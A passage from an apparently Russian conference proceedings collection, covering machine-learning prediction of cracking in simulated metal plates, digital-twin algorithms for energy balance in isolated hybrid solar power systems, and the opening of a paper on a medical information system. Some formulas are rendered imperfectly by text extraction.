женерных расчетов и проектирования конструкций, работающих в условиях высоких 
нагрузок [4], [5]. 

Исследуемый датасет (рисунок 1) состоит из параметров пластин с продольным 
растяжением, созданных в имитационной среде моделирования MSC.Patran:  

1) качественные признаки: материал (алюминий - alum, сталь - steel), отверстие 
(hole: наличие или его отсутствие), трещины (crack: наличие или их отсутствие); 

2) количественные признаки: приложенная сила, максимальное и минимальное 
напряжения. 

 
Рисунок 1 – Содержание датасета 
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Задача классификации 
Задача классификации состояла в определении наличия трещины. Известно, что 

для образования трещин у материалов необходимо прикладывать определенную силу, 
равную критической, расчет которой зависит нескольких факторов: от типа материала и 
наличия отверстия. Исходя из этих факторов, была создана модель, основанная на ме-
тоде случайного леса, которая выводит количество несоответствий при сравнении ре-
альных (исходные данные) и полученных результатов. Сравниваются колонки (crack) и 
новая колонка (crack_exe). Были проанализированы условия, в которых возникает тре-
щины у образцов материалов (рисунок 3). 

 
Рисунок 2 – Результат работы программы на определение трещин у материалов 

 
Рисунок 3 – SHAP-анализ условий возникновения трещин у пластин 

Задача регрессии 
Задача регрессии состояла в предсказании вероятностей трещинообразования. 

Была создана модель, основанная на методе дерева решений. В результате (рисунок 5) 
выводятся предсказанная и ожидаемая возможности трещинообразования после ввода 
примера входных данных (рисунок 4). 

 
Рисунок 4 – Пример входных данных для проверки модели 
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Рисунок 5 – Результат работы модели 

В данной работе были успешно применены методы машинного обучения для 
решения задач классификации и регрессии в области исследования трещинообразова-
ния материалов. Разработанная модель на основе метода случайного леса продемон-
стрировала высокую эффективность в определении условий, при которых происходит 
разрушение пластин с продольным растяжением. Учет таких факторов, как тип матери-
ала (алюминий и сталь), форма образца (наличие отверстия) и характер приложенной 
силы, позволил выявить ключевые закономерности, влияющие на процесс трещинооб-
разования. 

Обратная задача была решена с использованием метода дерева решений, что 
позволило построить регрессионную модель для прогнозирования вероятности трещи-
нообразования. Полученные результаты показывают, что машинное обучение может 
быть эффективно использовано для анализа сложных механических процессов и предо-
ставления количественных оценок вероятности разрушения. 

Применение предложенных моделей открывает новые возможности для прогно-
зирования надежности конструкционных материалов и оптимизации их эксплуатаци-
онных характеристик. Это особенно важно в условиях, когда традиционные аналитиче-
ские методы сталкиваются с ограничениями из-за сложности реальных условий нагру-
жения и минимизации рисков разрушения конструкций. 
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ФОРМИРОВАНИЕ ДАТАСЕТА ПРИ ИССЛЕДОВАНИИ ПОВЕДЕНИЯ 
МАТЕРИАЛА С ИСПОЛЬЗОВАНИЕМ MSC.PATRAN ДЛЯ МОДЕЛИРОВАНИЯ 
ТРЕЩИНООБРАЗОВАНИЯ 
 
DATASET CREATION FOR MATERIAL BEHAVIOR STUDY USING 
MSC.PATRAN FOR CRACKING MODELING 

 
Аннотация. В предложенной статье рассматривается процесс формирования датасета 
для исследования трещинообразования у различных материалов в среде имитационного 
моделирования MSC.Patran. Основное внимание уделено следующим аспектам: влия-
нию типа материала, величине прикладываемой силы и наличию отверстия в пластинах 
на характер образования трещин. В ходе работы проведенной в среде имитационного 
моделирования, собраны данные о поведении различных материалов при растяжении, 
сформирован датасет и проанализированы факторы, способствующие возникновению 
трещин. 
Abstract. The proposed article considers the process of forming a dataset for studying crack 
formation in various materials in the MSC.Patran simulation environment. The main attention 
is paid to the following aspects: the influence of the type of material, the magnitude of the ap-
plied force and the presence of a hole in the plates on the nature of crack formation. During 
the work carried out in the simulation environment, data on the behavior of various materials 
under tension were collected, a dataset was formed and factors contributing to the occurrence 
of cracks were analyzed. 
Ключевые слова: искусственный интеллект, трещинообразование, MSC.Patran, имита-
ционное моделирование, поведение материалов, механические напряжения. 
Key words: artificial intelligence, crack formation, MSC.Patran, simulation modeling, materi-
al behavior, mechanical stresses. 

 
Одной из ключевых задач современной инженерии и материаловедения является 

изучение поведения материалов при трещинообразовании. Основной причиной разру-
шения конструкций, приводящей к значительным эконмическим потерям, а иногда к 
катастрофическим последствиям, являются трещины у материалов. Понимание меха-
низмов трещинообразования и их распространения позволяет предотвратить подобные 
ситуации, а также создать более надежные конструкции и материалы, которые способ-
ны выдерживать экстремальные нагрузки [1], [2], [3]. 

Особую актуальность данная проблема приобретает в контексте разработки но-
вых материалов. Современные технологии предоставляют возможность создавать ма-
териалы с уникальными свойствами, такими как легкость, высокая прочность, способ-
ность к восстановлению и коррозионная стойкость. Трещинообразование является  
сложным процессом, который зависит от множества факторов, таких как тип материа-
ла, его микроструктура, температурные условия, наличие дефектов и внешние нагруз-
ки. Следовательно, необходимо учитывать все эти параметры для успешной разработки 
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новых материалов, что делает задачу исследования образования трещин достаточно 
трудоёмкой и многогранной. 

Целью работы является разработка информационного модуля на основе данных, 
полученных в среде имитационного моделирования MSC.Patran, для предсказания и 
анализа трещинообразования в зависимости от различных факторов. Основными зада-
чами являются: исследование трещинообразования в зависимости от типа материала; 
изучение влияния силы, прикладываемой к пластинам, на процесс трещинообразова-
ния; анализ влияния наличия отверстия в пластинах на характер образования трещин. 

В среде имитационного моделирования MSC.Patran были реализованы геомет-
рические модели пластины (таблица 1) с отверстием (рисунок 1) и без него (рисунок 2) 
различных материалов (алюминий и сталь) и растянутые в стороны по оси 𝑦 под дей-
ствием приложенных сил [4], [5]. 

Таблица 1 – Описание основных характеристик пластин 

Характеристики 
Единицы измерения в 

MSC.Patran 
Система СИ 

Длина, a 60 дюймов 1.524 м 
Ширина, b 20 дюймов 0,508 м 
Высота, c 0,19 дюймов 0,003 м 
Диаметр отверстия, d 10 дюймов 0,254 м 
Сила, F (пример) 85 фунт/дюйм 378.0987 Н 
Модуль эла-
стичности, E 

Алюминий 10 ∙ 10 фунт/дюймଶ 68947,6 М Н/мଶ 
Сталь 30 ∙ 10 фунт/дюймଶ 206842,8 М Н/мଶ 

Коэффициент 
Пуассона, 𝜈 

Алюминий 0,3 
Сталь 0,25 

 

 
Рисунок 1 – Пластина без отверстия, деформированная под действием сил 

 
Рисунок 2 – Пластина с отверстием, деформированная под действием сил 

Наборы данных (рисунок 3) были сформированы исходя из задач исследования: 
1. Исследование влияния типа материала на образование трещин; 
2. Изучение влияния силы, прикладываемой к пластинам, на процесс трещино-

образования; 
3. Анализ влияния наличия отверстия в пластинах на характер образования тре-

щин. 
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При анализе собранных данных были выявлены критические силы, приложен-
ные к пластинам, для возникновения трещин у материалов, а также максимальное и 
минимальное напряжения (таблица 2). Ниже представлен пример датасета, где num – 
номер пластины, force – приложенная сила, max – максимальное напряжение, min – ми-
нимальное напряжение,  mat – материал пластины, hole – наличие отверстия, crack – 
наличие трещины. 

 
Рисунок 3 – Датасет состоящий из характеристик пластин из алюминия с отверстием 

Таблица 2 – Расчет критических сил 
Характеристики MSC.Patran Формулы (1) и 

(2) 
Критическая 
сила, 𝐹крит 

Алюминий с отверсти-
ем 

36100,061480000004 Н 36,1 кН 

Алюминий без отвер-
стия 

152399,06148 Н 152,4 кН 

Сталь с отверстием 72500,05918 Н 72,5 кН 
Сталь без отверстия 658800,06 Н 658,8 кН 

Расчет критических сил проводился по следующим формулам: 
1. Пластина без отверстия: 

𝐹крит ൌ 𝜎в ∙ 𝑏 ∙ 𝑐.     (1) 
2. Пластина с отверстием: 

𝐹крит ൌ 

ටగ∙
మ

∙ ሺ𝑏 െ 𝑑ሻ ∙ 𝑐.    (2) 

Очевидно, что критическая сила, приложенная для образования трещин в среде 
имитационного моделирования MSC.Patran, совпадает с критической силой, рассчитан-
ной по формулам (1) и (2). Это говорит о достоверности сформированного датасета. 

Также были собраны максимальные и минимальные напряжения у пластин раз-
ных материалов с отверстием и без него (таблица 3). 

Таблица 3 – Максимальное и минимальное напряжения трещинообразования 
Характеристики MSC.Patran 

Максимальное 
напряжение, 
Н/мଶ 

Алюминий с отверстием 43883218,93331129 
Алюминий без отверстия 11032874,133274425 
Сталь с отверстием 44606061,59995536 
Сталь без отверстия 11497074,133077916 

Минимальное 
напряжение, 
Н/мଶ 

Алюминий с отверстием 1983762,4133185227 
Алюминий без отверстия 2373056,239941094 
Сталь с отверстием 1920602,4399700048 
Сталь без отверстия 2857940,519744585 

В ходе исследования был сформирован датасет с использованием имитационной 
среды моделирования MSC.Patran, который позволил создать точные модели механиче-
ских напряжений и деформаций, а также был проведен сравнительный анализ собран-
ных и рассчитанных по формулам данных, который помог убедиться в достоверности 
полученных данных. 

На основе собранных данных планируется провести исследование для решения 
поставленных задач, направленных на изучение трещинообразования в материалах. 
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Кроме того, планируется разработка интерактивного модуля, который станет удобным 
инструментом для инженеров и исследователей. Такой модуль сможет предоставлять 
пользователю прогнозы поведения материалов в реальном времени, помогая принимать 
обоснованные решения на этапах проектирования и эксплуатации конструкций. 
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ПРОГНОЗИРОВАНИЕ И ОПТИМИЗАЦИЯ ДЕФИЦИТА ЭНЕРГИИ  
В ИЗОЛИРОВАННОЙ ГИБРИДНОЙ ЭНЕРГОСИСТЕМЕ С ПОМОЩЬЮ 
ЦИФРОВОГО ДВОЙНИКА 
 
FORECASTING AND OPTIMIZING ENERGY SHORTAGES IN AN ISOLATED 
HYBRID POWER SYSTEM USING A DIGITAL TWIN 
 
Аннотация. Статья представляет обзор алгоритма, предназначенного для анализа энер-
гетического баланса и определения дефицита энергии в аккумуляторе изолированной 
гибридной энергосистемы (ИГЭС). В работе детально описаны методы обработки ис-
ходных данных, включающие фильтрацию по временным границам, округление вре-
менных меток до ближайшего часа, обнуление малых значений солнечного потока и 
применение линейной интерполяции для устранения пробелов в измерениях. Алгоритм 
позволяет на основе полученной непрерывной последовательности рассчитывать мгно-
венную мощность солнечных панелей, интегрируя её для определения накопленной 
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энергии, а затем оценивать энергетические потоки в аккумуляторе с учетом параметров 
нагрузки, зарядного напряжения и максимально допустимого тока. 
Abstract. The article provides an overview of an algorithm designed to analyze the energy 
balance and determine the energy deficit in the battery of an isolated hybrid power system 
(IHES). The paper describes in detail the methods of processing the initial data, including fil-
tering by time boundaries, rounding timestamps to the nearest hour, zeroing small values of 
the solar flux and using linear interpolation to eliminate gaps in measurements. The algorithm 
allows calculating the instantaneous power of solar panels based on the obtained continuous 
sequence, integrating it to determine the stored energy, and then estimating the energy flows 
in the battery, taking into account the load parameters, charging voltage, and maximum al-
lowable current. 
Ключевые слова: баланс энергии, дефицит энергии, цифровой двойник, энергетическая 
система, фильтрация временных меток. 
Key words: energy balance, energy shortage, digital twin, energy system, timestamp filtering. 
 

Обсудим современное состояние исследований, связанных с цифровыми двой-
никами в области энергетики. В [1] для больших энергетических объектов предложена 
шестислойная архитектура цифрового двойника, включающая онтологическую модель, 
цифровую схему, документацию в электронной форме, информационную модель объ-
екта, оперативную информацию от измерительных приборов и сенсоров, математиче-
ские и имитационные модели. Кроме того, обсуждается создание цифровых и умных 
цифровых двойников для моделирования и управления в энергосистемах, анализируя 
интегрированные интеллектуальные энергосистемы, направления цифровизации энер-
гетики и применение онтологического подхода и фрактального метода в построении 
онтологий, с примерами реализации цифрового двойника солнечной электростанции и 
умного цифрового двойника топливно-энергетического комплекса. 

В литературе [2] отмечается, что предиктивные цифровые двойники могут быть 
реализованы с помощью различных типов моделирования, включая как методы, осно-
ванные на физике процессов, так и с использованием алгоритмов машинного обучения. 
Подчёркивается необходимость комплексной и надежной архитектуры цифровых 
двойников для современных энергетических систем, отмечая при этом необходимость 
применения физико-математических моделей, статистического анализа данных и ре-
альных данных для повышения надежности и доступности [3]. 

Таким образом, учитывая предшествующие исследования можно указать, что 
цифровой двойник солнечной энергетической системы представляет собой виртуаль-
ную модель, которая в точности отражает физическую структуру и работу реальной 
солнечной установки. Он учитывает различные параметры, такие как географическое 
положение, погодные условия, характеристики солнечных панелей и электрические 
компоненты. С помощью цифрового двойника можно проводить различные сценарные 
анализы, определяя оптимальные параметры работы солнечных систем. 

Одним из главных преимуществ цифрового двойника является возможность 
проведения виртуальных испытаний и анализа без необходимости использования ре-
альных ресурсов. Это значительно сокращает время и стоимость исследования, а также 
позволяет изучать различные сценарии и стратегии без риска для реальной системы. 
Цифровой двойник также позволяет предсказывать работу солнечных систем на основе 
текущих условий и прошлого опыта [4]. 

Цифровой двойник (ЦД) входных энергетических потоков изолированной ги-
бридной энергетической системы (ИГЭС) содержит три канала: имитационный (теоре-
тический), аппаратный (физический) и вспомогательный (рисунок 1). Данная работа 
сосредоточена на имитационном канале, который используется для моделирования 
процессов генерации, потребления и накопления энергии. Особое внимание уделяется 
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балансу и возможному дефициту энергии в аккумуляторе, что позволяет анализировать 
устойчивость системы и разрабатывать стратегии оптимального распределения ресур-
сов. 

ClearSky 
моделирование 

солнечной 
энергии

SolarFlux_
ClearSky

Cloudness 
(облачность) 
сбор данных

SolarFlux_
Cloudness

SolarData 
реальные 

данные, сбор

ClearSky vs 
SolarData 
сравнение

Имитационный 
(теоретический) 
канал

Вспомогатель-
ный канал

Аппаратный 
(физический) 
канал

Количественное 
сравнение

Качественное 
сравнениеSolarFlux_Cloudness_

Correction
 корректировка данных

 
Рисунок 1 – Каналы ЦД ИГЭС 

Таким образом, цифровой двойник (ЦД) порождает три потока данных: 
SolarFlux_Cl, SolarFlux_Cl_Korr и SolarData. Каждый из этих потоков подается на вход 
блока оценки дефицита энергии АКБ ИГЭС, где учитываются параметры ИГЭС, такие 
как площадь и КПД солнечной панели, емкость аккумулятора и уровень потребляемой 
энергии [5].  

Ниже приводится развернутое описание методики расчёта баланса и дефицита 
энергии в аккумуляторе цифрового двойника изолированной гибридной энергетиче-
ской системы. Сначала рассматриваются основные исходные данные, после чего опи-
сывается процесс обработки информации для получения окончательных оценок накоп-
ленной энергии и её дефицита. Особое внимание уделяется качественной фильтрации и 
правильной интерпретации временных меток, что способствует созданию надёжной 
модели функционирования системы. 

Система основывается на наборе измерений, включающем данные о солнечном 
потоке и облачности. Каждая запись содержит метку времени, значение солнечного по-
тока и уровень облачности. Эти данные служат для анализа генерации энергии в тече-
ние светового дня, который определяется соответствующим набором временных точек. 
На первом этапе осуществляется фильтрация исходной информации в соответствии с 
установленными временными рамками. Затем временные метки округляются до бли-
жайшего часа, а значения солнечного потока, которые ниже установленного порога, 
обнуляются для минимизации шумов. 

После формирования полного диапазона временных интервалов происходит 
объединение данных по меткам времени, что позволяет создать непрерывную времен-
ную последовательность. Для устранения пробелов в данных используется линейная 
интерполяция отсутствующих значений. На основе очищенных и дополненных данных 
вычисляется мгновенная мощность солнечной панели с учётом коэффициента полезно-
го действия и площади фотогальванического элемента. Это, в свою очередь, позволяет 
рассчитать накопленную солнечную энергию путём интегрирования мощностных пока-
зателей за каждый временной интервал. Затем алгоритм переходит к оценке энергети-
ческих потоков в аккумуляторной батарее. На первом этапе рассчитывается поступле-
ние энергии, принимая во внимание параметры нагрузки, напряжение зарядки и макси-
мально допустимый зарядный ток. Накопленная энергия в АКБ определяется с приме-
нением следующей ключевой формулы: 
 𝑐𝑎𝑙𝑐𝑢𝑙𝑎𝑡𝑒_𝑏𝑎𝑡𝑡𝑒𝑟𝑦_𝑒𝑛𝑒𝑟𝑔𝑦ሺ𝐶௧௧௬, 𝑏𝑎𝑡𝑡𝑒𝑟𝑦𝐶𝑎𝑝𝑎𝑐𝑖𝑡𝑦, 𝑠𝑦𝑠𝑡𝑒𝑚_𝑣𝑜𝑙𝑡𝑎𝑔𝑒, (1) 

𝑠𝑡𝑎𝑟𝑡_𝑒𝑛𝑒𝑟𝑔𝑦ሻ → 𝐶, 
где 𝑐𝑎𝑙𝑐𝑢𝑙𝑎𝑡𝑒_𝑏𝑎𝑡𝑡𝑒𝑟𝑦_𝑒𝑛𝑒𝑟𝑔𝑦 – функция расчета накопленной энергии в АКБ; 
𝐶௧௧௬ ⊆ 𝐶 – множество данных с рассчитанными потоками энергии в АКБ;  
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𝑏𝑎𝑡𝑡𝑒𝑟𝑦𝐶𝑎𝑝𝑎𝑐𝑖𝑡𝑦 ∈ ℝ – емкость АКБ; 𝑠𝑦𝑠𝑡𝑒𝑚_𝑣𝑜𝑙𝑡𝑎𝑔𝑒 ∈ ℝ – системное напряжение; 
𝑠𝑡𝑎𝑟𝑡_𝑒𝑛𝑒𝑟𝑔𝑦 ∈ ℝ – начальное значение энергии; 𝐶 ⊆ 𝐶 – множество данных с 
рассчитанной накопленной энергией в АКБ. 

Заключительным этапом является расчёт дефицита энергии, который определя-
ется с учётом максимально допустимой глубины разряда (рисунок 3).  

Этот показатель позволяет оценить, насколько эффективно система может ком-
пенсировать периоды низкой генерации солнечной энергии: 
 𝑐𝑎𝑙𝑐𝑢𝑙𝑎𝑡𝑒_𝑒𝑛𝑒𝑟𝑔𝑦_𝑠ℎ𝑜𝑟𝑡𝑎𝑔𝑒ሺ𝐶, 𝐷𝑜𝐷ሻ → 𝐶௦௧, (2) 
где 𝑐𝑎𝑙𝑐𝑢𝑙𝑎𝑡𝑒_𝑒𝑛𝑒𝑟𝑔𝑦_𝑠ℎ𝑜𝑟𝑡𝑎𝑔𝑒 – функция расчета дефицита энергии; 𝐶 ⊆ 𝐶 – 
множество данных с рассчитанной накопленной энергией в АКБ; 𝐷𝑜𝐷 ∈ ℝ – глубина 
разряда; 𝐶௦௧ ⊆ 𝐶 – множество данных с рассчитанным дефицитом энергии. 

 
Рисунок 3 – Пример графиков баланса и дефицита энергии 

Данный алгоритм обеспечивает всесторонний анализ энергетического баланса 
гибридной системы, позволяя прогнозировать и корректировать режимы работы акку-
мулятора в зависимости от изменяющихся условий солнечной генерации и потребле-
ния. 

Представленный обзор алгоритма иллюстрирует практическую значимость 
предложенного подхода к оценке энергетического баланса и определению дефицита 
энергии в аккумуляторе изолированной гибридной энергосистемы. Подробно описан-
ные этапы обработки исходных данных, начиная с фильтрации и округления времен-
ных меток и заканчивая устранением пропусков с помощью интерполяции, позволяют 
создать надёжную модель для расчёта мгновенной мощности солнечных панелей и 
накопленной энергии.  

Алгоритм эффективно учитывает эксплуатационные параметры системы, такие 
как нагрузка, напряжение зарядки и максимально допустимый ток, что способствует 
более точной оценке потоков энергии в аккумуляторе. Полученные результаты подчер-
кивают возможность применения данной методики для повышения надёжности функ-
ционирования гибридных энергосистем, что является важным аспектом в условиях пе-
ременной генерации и потребления энергии. 
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НА ОСНОВЕ ИНФОРМАЦИИ С ЭКСПЕРИМЕНТАЛЬНОЙ УСТАНОВКИ 
 
TO THE QUESTION OF CORRECTING THE DATA OF THE IHES DIGITAL 
TWIN BASED ON INFORMATION FROM THE EXPERIMENTAL 
INSTALLATION 
 
Аннотация. Доклад посвящен обзору цифрового двойника изолированных гибридных 
энергосистем (ИГЭС). Продемонстрирована математическая модель, учитывающая 
различия в дискретизации данных и включающая методы их синхронизации. Введён 
алгоритм коррекции расчётных данных с использованием коэффициента, минимизиру-
ющего расхождения между теоретическими и экспериментальными результатами. Ре-
зультаты работы демонстрируют практическую применимость цифрового двойника для 
моделирования и управления ИГЭС. Предложенные методы и алгоритмы повышают 
точность прогнозирования ИГЭС, что делает данные системы подходящими для ис-
пользования в удалённых регионах с переменчивыми климатическими условиями. 
Abstract. The report is devoted to the review of the digital twin of isolated hybrid power sys-
tems (IHES). A mathematical model is demonstrated that takes into account differences in 
data discretization and includes methods for their synchronization. An algorithm has been in-
troduced to correct the calculated data using a coefficient that minimizes discrepancies be-
tween theoretical and experimental results. The results of the work demonstrate the practical 
applicability of the digital twin for the modeling and control of IHES. The proposed methods 
and algorithms increase the accuracy of IHES forecasting, which makes these systems suita-
ble for use in remote regions with changeable climatic conditions. 
Ключевые слова: цифровой двойник, анализ данных, солнечная энергия, энергетиче-
ская система, модель. 
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Традиционные источники энергии, такие как уголь, нефть, газ и другие виды ис-
копаемого топлива, становятся всё менее выгодными для снабжения электроэнергией 
удалённых поселений. Основная причина этого – заметный рост расходов на транспор-
тировку. В связи с этим всё чаще обсуждается возможность перехода на возобновляе-
мые источники энергии, включая солнечную и ветровую энергию, гидроэнергию, гео-
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термальные ресурсы, водородную и биоэнергию. Энергосистемы, которые работают на 
таких источниках, называют гибридными энергосистемами (ГЭС). В ГЭС могут ис-
пользоваться различные типы накопителей энергии: электрические аккумуляторы, су-
перконденсаторы, жидкостные и водородные накопители.  

Привычные ГЭС, использующие возобновляемые источники энергии (ВИЭ), 
рассматриваются для замены энергосистем на традиционных источниках энергии в 
промышленности, жилищах, общественных учреждениях и так далее. В общем случае, 
они включают: солнечные панели, ветро-генераторы, дизель-генераторы, накопители и 
распределительно управляющее оборудование. Такие ГЭС могут быть интегрированы в 
общую энергетическую сеть, в этом случае отпадает необходимость в дополнительных 
генераторах, например, дизель-генераторах или функционировать автономно, то есть 
изолированные ГЭС (ИГЭС) [1]. 

В свою очередь, в ИГЭС могут входить как полноценные системы, так и мини и 
микро-ИГЭС. К мини-ИГЭС относятся системы с минимальным набором элементов: 
солнечная панель, ветро-генератор и накопитель, например, светильники на обще-
ственных территориях. К микро-ИГЭС относятся системы с супер-минимальным набо-
ром элементов: солнечная панель и накопитель, например, питание камер фиксации до-
рожного движения, питание светофоров, подсветка переходов [2] (рисунок 1). 

ГЭС

СВДН

ГЭС

СВН+сеть

ИГЭС

СВДН

Мини ИГЭС

СВН

Микро ИГЭС

СН  
Рисунок 1 – Иерархии ГЭС: С – солнечная панель, В – ветро-генератор, Д – 

дизельгенератор, Н – накопитель. 
Учитывая, что удалённые посёлки, в которых отсутствует подключение к сете-

вым источникам электрической энергии, расположены в зонах с низкими среднегодо-
выми темпера турами, то остановимся на использовании энергии солнца. 

По данным Министерства энергетики РФ, в стране насчитывается около 100 000 
поселений, в которых проживает от 5 до 10 миллионов человек. Переход на возобнов-
ляемые источники энергии может значительно снизить или даже полностью устранить 
затраты на доставку энергоносителей. Однако их проектирование и эксплуатация ги-
бридных энергосистем (ИГЭС) требуют точных математических моделей, учитываю-
щих специфику работы возобновляемых источников энергии и сложность интеграции 
различных потоков данных. Данная работа направлена на устранение существующих 
ограничений и разработку решений, повышающих эффективность таких систем: 

1) предложена усовершенствованная структура цифрового двойника изолиро-
ванной гибридной энергосистемы (ЦД ИГЭС), включающая три канала данных: облач-
ность, экспериментальные измерения и теоретические расчёты; 

2) разработана новая математическая модель излучения солнечной энергии, учи-
тывающая почасовой уровень облачности, что позволяет определять «критические» 
временные интервалы, а это особенно важно для планирования работы накопителей 
энергии; 

3) введены алгоритмы расчёта энергетического баланса и дефицита энергии, ко-
торые интегрируют данные с экспериментальных установок и цифрового двойника (эти 
алгоритмы помогают оценить эффективность системы и выявить её уязвимые места).  
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Особенностью данной математической модели является то, что она включает как 
минимум три потока данных с различной степенью дискретизации, которые не синхро-
низированы между собой. Наименее частыми являются часовые данные, которые со-
держат информацию об уровне облачности. Из-за специфики работы сайта VentuSky, 
откуда поступают эти данные, их получение происходит не так часто. Более частые, 
десятиминутные данные, собираются с экспериментальной установки. Наконец, суще-
ствуют теоретические данные, которые генерируются программным образом и могут 
быть получены с любой необходимой дискретизацией. 

Для описания модели введены множества, которые позволяют структурировать 
потоки данных. Сперва определяется множество всех дней исследуемого временного 
интервала. Далее необходимо определить множества трёх основных потоков данных в 
ЦД (рисунок 2). Первоначально следует из этих трёх потоков данных выявить те, что 
будут ведущими, то есть под которые остальные два потока будут подстраиваться по 
дискретности (частоте) и фазе. Логичнее всего взять ведущим поток, связанный с об-
лачностью, так как только на частоту и фазу потока данных по облачности нет возмож-
ности воздействовать. 

 
Рисунок 2 – Потоки данных в ЦД 

Следует отметить, что экспериментальный канал условно доступен, так как дан-
ные накапливаются уже довольно продолжительное время (больше года). Поскольку 
эти данные имеют дискретизацию в десять минут, их легко синхронизировать с почасо-
вой дискретизацией. 

После этого для каждого дня связываются и синхронизируются соответствую-
щие значения: десятиминутные экспериментальные измерения солнечного излучения, 
почасовые данные облачности и почасовые расчёты солнечного излучения. При этом 
расчёт интенсивности солнечного излучения основывается на солнечной постоянной, 
расстоянии от Солнца до Земли и угле падения солнечных лучей. Дополнительно учи-
тываются времена восхода и захода солнца, что позволяет точно определять моменты 
суток, в которые необходимо рассчитывать солнечное излучение [3]. 

Следом после первоначального расчёта интенсивности солнечного излучения 
для условий чистого неба, данные корректируются: учитывается эффект альбедо, отра-
жающий часть солнечного света, а затем производится коррекция с учётом уровня об-
лачности. При этом облачность снижает интенсивность солнечного излучения, но спе-
циальный коэффициент позволяет сохранить часть энергии даже при полном облачном 
покрове [4]. Наконец, полученные теоретические значения сравниваются с эксперимен-
тальными данными с ИГЭС. 

Особое внимание уделяется процедуре коррекции данных. С помощью специ-
ального алгоритма (метод минимизации суммы квадратов разностей) подбирается кор-
ректирующий коэффициент, который позволяет масштабировать теоретические значе-
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ния так, чтобы они максимально совпадали с экспериментальными результатами (рису-
нок 3) [5]. 

 
Рисунок 3 – Коррекция данных ЦД ИГЭС 

С использованием скорректированных данных, в дальнейшем вычисляются зна-
чения баланса энергии и дефицита, что позволяет добиться минимальных расхождений 
результатов между цифровым двойником и экспериментальной установкой. 

По ходу повествования была бегло рассмотрена структура цифрового двойника 
для изолированных гибридных энергосистем (ИГЭС). Особое внимание было уделено 
предложенным моделям и алгоритмам коррекции данных, которые значительно 
уменьшают расхождения между расчетными и экспериментальными результатами, хотя 
незначительные отклонения все еще имеют место. Тем не менее, проведенный анализ 
демонстрирует, что цифровой двойник уже сейчас может эффективно применяться для 
моделирования и оценки работы энергосистем. 

Дальнейшее развитие модели позволит полностью отказаться от необходимости 
в экспериментальных установках, превращая цифровой двойник в универсальный ин-
струмент для индивидуального проектирования ИГЭС, адаптированного к условиям 
конкретных удаленных поселений.  
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categories of users. 
Ключевые слова: информационная система, медицинские процессы, автоматизация, оп-
тимизация, хранение данных, обработка данных, передача, Электронная медицинская 
карта, доступ к данным. 
Key words: information System, medical processes, automation, optimization, data Storage, 
data processing, data transmission, electronic medical record, access to data 
 

Информационная система является совокупностью различных средств и ресур-
сов – как программных, так и аппаратных. Весь инструментарий ИС направлен на ав-
томатизирование и оптимизирование процессов: производственных и бизнес-
процессов. Автоматизация/оптимизация достигается путём введения в даталогическую 
схему элементов, удовлетворяющих, как минимум, базовые потребности системы в 



616 

сборе, хранении, обработке и передачи информации. Посредством этих внедрений, 
уменьшается время отклика между потребителем информационного потока и его ис-
точником. Зачастую, один лишь быстрый доступ к информационным ресурсам позво-
ляет выполнять необходимые подпроцессы эффективнее. 

В основной, базовой, комплектации – информационная система представляет 
собой техническую или аппаратную составляющую, наборы данных и основополагаю-
щие принципы, и инструкции. 

Аппаратная составляющая информационных систем различна от области к обла-
сти, но в последние годы, она, как правило, состоит из компьютеризированного обору-
дования – имеющего или нет интеллектуальные функции.  

На текущий момент, информационные системы проектируются и внедряются в 
большую часть организаций, так как их интеграция позволяет выйти на новый уровень 
эффективного делооборота. 

В медицинской области, в её частном сегменте, информатизация и организация 
лечебного/диагностического заведения широко применяется уже несколько лет. Целя-
ми внедрения ИС в медицинское учреждение, являются как повышение качества меди-
цинских услуг, так и упрощения процедуры взаимодействия между пациентом и вра-
чом, а также – между врачами и другими работниками сферы здравоохранения. 

Примеров внедрения информационных систем в здравоохранение можно приве-
сти множество. Есть самые простые, к примеру, электронная очередь. Это нововведе-
ние помогает оптимизировать приём пациентов на нескольких уровнях – регистратуры, 
врачей и процедурных кабинетах. 

Так же, примером информатизации является внедрение в здравоохранение ди-
станционных технологий для оказания помощи на расстоянии (по большей части кон-
сультационной). Помимо этого, уже широко известны примеры роботизации медицин-
ских услуг, по крайней мере – частичной роботизацией. 

Также, доказательством информатизации медицинской сферы деятельности яв-
ляется появление такого понятия как электронная медицинская карта. Этот объект 
представляет собой электронную систему, с функциями хранения и предоставления ре-
зультатов медицинских освидетельствований. На данный момент, такие системы, в 
большинстве своём, являются закрытыми для обычного человека – пациента. Да, мож-
но получить выписку из электронной карты в регистратуре поликлиник и больниц или 
просмотреть некоторую статистику больничных листов в личном профиле на портале 
«Госуслуги». Но в целом, большая часть результатов анализов, диагнозов и назначений 
препаратов, выдаётся пациенту на руки – в печатном/рукописном виде. Именно этот 
вопрос рассматривается в данной работе. С позиции разработки информационной си-
стемы и её имитационной интеграции, посредством прототипа приложения. 

На данный момент существует три самых популярных ветви пользовательских 
приложений:  

1. Классические приложения для ПК и ноутбуков. 
2. Web-приложения. 
3. Приложения для мобильных устройств. 
На данный момент, было решено сосредоточится на варианте для компьютеров, 

так как основное задание состоит в проектировании информационной системы и её 
обосновании, а приложение для компьютера реализуется множеством способов и плат-
форм разработки. 

Итак, сама информационная система, в процессе проектировки, получила назва-
ние «Ласточка». Даталогическая модель будет реализовываться с помощью синтаксиса 
инфограмм – IDEF0. 

На текущий момент определено, что состав информационной системы будет 
разветвлённым и включать в себя множество модулей, каждый из которых должен быть 
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логически размещён, для избегания ненужного дублирования и перекрестных функций. 
Каждый из модулей будет иметь возможность выгрузить определённые данные в банк 
данных и некоторое количество модулей сможет опрашивать банк данных на предмет 
актуализации нужной ему информации. 

Приложение же, будет делиться на две глобальные части – серверная часть и 
пользовательская. Серверная часть будет отвечать за хранение информации в виде 
электронной базы данных, а пользовательская будет иметь несколько уровней доступа 
– ролей, каждая из которых будет регулировать к просмотру и редактированию каких 
данных будет допущен каждый конкретный пользователь. 

Одним из рассматриваемых к реализации модулей, является аналитический мо-
дуль, основанный на технологии нейросетей. Роль нейросети в приложении является 
вспомогательной, из-за особенностей текущего развития нейросетей и принципов со-
временного их построения [3]. То есть, несмотря на прогрессирующее распространение 
нейросетей, как на уровне рядового пользователя, так и на уровне государственных 
структур – нейросети остаются удобным, но несколько ограниченным инструментом. 
Их использование вполне оправдано для формирования не специфического текста, ис-
ходные данные которого находятся в общем доступе или для решения некоторых задач 
программирования. Но, на текущем уровне развития, доверить нейросети принимать 
решения, влияющие на здоровье граждан – не представляется возможным. 

Таким образом, для аналитического модуля разрабатываемой информационной 
системы были определены функции опознавания и мониторинга. Первая функция будет 
отвечать за определение и интерпретирование загружаемых в систему изображений. 
